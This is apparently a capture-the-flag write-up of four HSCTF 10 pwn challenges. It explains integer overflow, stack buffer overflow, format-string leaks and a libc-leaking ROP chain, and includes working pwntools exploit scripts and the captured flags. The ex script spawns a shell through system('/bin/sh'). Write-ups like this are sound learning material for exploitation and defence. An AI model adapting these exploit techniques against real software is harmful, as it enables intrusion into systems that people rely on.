HSCTF 10 2023 Write ups (all pwn)

doubler (228 solves / 354 points)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
..
printf("Input: ");
char buffer[16];
fgets(buffer, 16, stdin);
int val = atoi(buffer);
printf("val: %i\n", val);
if (val < 0) {
puts("Error: no negative numbers allowed!");
return 1;
}
int doubled = 2 * val;
printf("Doubled: %i\n", doubled);
if (doubled == -100) {
puts(flag);
}
..

The range of int is –2,147,483,648 ~ 2,147,483,647.

Solve

1
2
3
4
5
6
7
8
9
10
11
[jir4vvit@arch doubler]$ ./chall
Input: 2147483647
Doubled: -2
[jir4vvit@arch doubler]$ ./chall
Input: 2147483598
Doubled: -100
flag{fake}
[jir4vvit@arch doubler]$ nc doubler.hsctf.com 1337
Input: 2147483598
Doubled: -100
flag{double_or_nothing_406c561}

ed (161 solves / 407 points)

You can find overflow like below.

1
2
char input[24];
fgets(input, 64, stdin);

And there is flag() so let’s retrun to flag().

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# p = process('./ed')
p = remote('ed.hsctf.com', 1337)
e = ELF('./ed')

payload = b''
payload += b'f' * 0x28
payload += p64(e.symbols['flag'])

# print(p.sendline(payload))

p.sendline(payload)
p.sendline('Q')

p.interactive()
1
flag{real_programmers_use_butterflies}

cat (145 solves / 418 points)

1
printf(buffer);

format string bug

Solve

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

#p = process("./chall")
p = remote("cat.hsctf.com", 1337)
b = bytearray()
for i in range(1, 20):
p.sendline(f"%{i}$p".encode())
try:
b += p32(int(p.recvline(), 16))
except ValueError:
pass
print(b[b.index(b"flag{"):b.index(b"}") + 1].decode())

Actually, I got the flag without writing any code. I got this solved code from discord. :)

1
2
%10$p %11$p %12$p %13$p %14$p 
flag{cats_go_meow}

ex (90 solves / 454 points)

simple rop.

1
2
char input[24];
fgets(input, 128, stdin);

You have to get libc version first by leaking libc address first. and then, just ROP!

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./ex')
p = remote('ex.hsctf.com', 1337)
e = ELF('./ex')
libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so')

pop_rdi = 0x4014f3
ret = pop_rdi + 1
pop_rsi_r15 = 0x4014f1

payload = b'a'*0x20
payload += p64(0x41414141)
payload += p64(pop_rdi) # rbp
payload += p64(e.got['setvbuf']) # ret
payload += p64(e.plt['puts']) # ret
payload += p64(e.sym['main']) # ret
payload += b'a'*0x50

p.sendline(payload)
p.sendline('Q')

p.recvuntil('?\n?\n')
libc.address = u64(p.recv(6).ljust(8, b'\0')) - libc.sym['setvbuf']
binsh = next(libc.search(b'/bin/sh\0'))
info(hex(libc.address))
info(hex(binsh))

payload = b'a'*0x20
payload += p64(0x41414141) # rbp
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(libc.sym['system'])
payload += p64(e.sym['main']) # ret
# pause()
p.sendline(payload)
p.sendline('Q')

p.interactive()
1
flag{I_wonder_if_there's_an_emacs_command_for_writing_pwn_exploits?}